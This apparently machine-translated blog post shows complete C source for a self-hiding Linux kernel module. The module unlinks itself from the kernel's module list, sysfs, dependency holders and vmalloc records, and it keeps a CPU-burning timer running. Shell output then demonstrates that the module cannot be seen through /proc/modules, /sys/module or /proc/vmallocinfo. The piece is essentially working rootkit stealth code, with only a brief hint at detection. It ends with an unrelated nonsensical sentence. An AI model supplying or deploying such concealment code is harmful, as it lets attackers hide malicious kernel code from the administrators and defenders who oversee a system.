Hide your own Linux kernel modules

Keywords: Linux

Previously, I advocated using oneshot mode to load a module, that is, let the module Return-1 after doing something in the init function, so that there is no such module in the system and there is no need to hide it.

However, because of the THIS_MODULE macro, we find how easy it is to actually hide a module.In fact, modules can self-hide in init functions through the THIS_MODULE macro.Think about how interesting and meaningful it is that you can apply for your ID card, move your residence, and give yourself a visa.

Since it's so simple, why bother with oneshow? Mental cleanliness always doesn't want to see return-1.

Unlike process hiding, a process cannot hide itself; it can only rely on other modules to find the corresponding task_struct and then remove the chain.

The THIS_MODULE macro has one for each kernel module and loads the following structures from xx.mod.c into kernel space:

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
	.name = KBUILD_MODNAME,
	.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
	.exit = cleanup_module,
#endif
	.arch = MODULE_ARCH_INIT,
};

Let me show you how to hide myself with code like this:

// hidemyself.c
#include <linux/module.h>
#include <net/netfilter/nf_conntrack_core.h>
#include <asm-generic/delay.h>
#include <linux/kallsyms.h>
#include <linux/vmalloc.h>

struct timer_list timer;
// Simulate Heavy Physical Work
static void timer_func(unsigned long data)
{
	udelay(1000);
	mod_timer(&timer, jiffies + 10);
}

static void __init hide_myself(void)
{
	struct vmap_area *va, *vtmp;
	struct module_use *use, *tmp;
	struct list_head *_vmap_area_list;
	struct rb_root *_vmap_area_root;

	_vmap_area_list = (struct list_head *)kallsyms_lookup_name("vmap_area_list");
	_vmap_area_root = (struct rb_root *)kallsyms_lookup_name("vmap_area_root");

	// Remove vmalloc call relationship chain, /proc/vmallocinfo not visible
	list_for_each_entry_safe(va, vtmp, _vmap_area_list, list) {
		if ((unsigned long)THIS_MODULE > va->va_start && (unsigned long)THIS_MODULE < va->va_end) {
			list_del(&va->list);
			// Removed from rbtree, cannot be found from rbtree
			rb_erase(&va->rb_node, _vmap_area_root);
		}
	}

	// Chain list is removed and not visible in/proc/modules.
	list_del_init(&THIS_MODULE->list);
	// Remove kobj, /sys/modules/not visible.
	kobject_del(&THIS_MODULE->mkobj.kobj);
	// Remove the dependencies, and in this case the holder for nf_conntrack is not visible.
	list_for_each_entry_safe(use, tmp, &THIS_MODULE->target_list, target_list) {
		list_del(&use->source_list);
		list_del(&use->target_list);
		sysfs_remove_link(use->target->holders_dir, THIS_MODULE->name);
		kfree(use);
	}
}

static int __init hideself_init(void)
{
	hide_myself();
	init_timer(&timer);
	timer.expires = jiffies + 20;
	timer.function = timer_func;
	add_timer(&timer);

	// Analog dependency.We need to hide this module from our dependencies as well
	printk("address:%p   this:%p\n", nf_conntrack_in, THIS_MODULE);

	return 0;
}

static void __exit hideself_exit(void)
{
	del_timer_sync(&timer);
}
module_init(hideself_init);
module_exit(hideself_exit);
MODULE_LICENSE("GPL");

We loaded the module and found that heavy manual work was already running:

[root@localhost test]# insmod ./hidemyself.ko
[root@localhost test]# perf top
Samples: 2K of event 'cpu-clock', Event count (approx.): 383743956
Overhead  Shared Object        Symbol
  47.89%  [kernel]             [k] native_read_tsc
  38.93%  [kernel]             [k] delay_tsc
   1.61%  [kernel]             [k] _raw_spin_unlock_irqrestore
   1.47%  [kernel]             [k] __do_softirq
   1.26%  perf                 [.] __symbols__ins

Dependencies have also been recorded:

[root@localhost test]# lsmod |grep nf_conntrack
nf_conntrack          105737  1

But you can't find it anywhere:

[root@localhost test]# cat /proc/modules |grep hidemyself
[root@localhost test]# ls -l /sys/module/|grep hidemyself
[root@localhost test]# ls -l /sys/module/nf_conntrack/holders/|grep hidemyself
[root@localhost test]#

There is also no address space for the module in/proc/vmallocinfo.Here is the information printed by dmesg:

[  668.202784] address:ffffffffa02a56e0   this:ffffffffa00fa000

We can see that the address of THIS_MODULE is 0xffffffa00fa000, and we can't find a vmalloc interval containing that address in / proc/vmallocinfo!

Hiding was successful.And...

Also, the module can be loaded multiple times because it has been removed from the namespace by itself, completely out of the organization's management.

Next, what I'm going to do is find it out!

Of course, it is possible to scan module memory intervals, which are:

// arch/x86/include/asm/pgtable_64_types.h
#define MODULES_VADDR    _AC(0xffffffffa0000000, UL)
#define MODULES_END      _AC(0xffffffffff000000, UL)

There's a better way, let's talk later.

Go home.

Zhejiang Wenzhou leather shoes are wet, so you won't get fat when it rains.

Posted by ashok_bam on Sat, 09 May 2020 21:21:10 -0700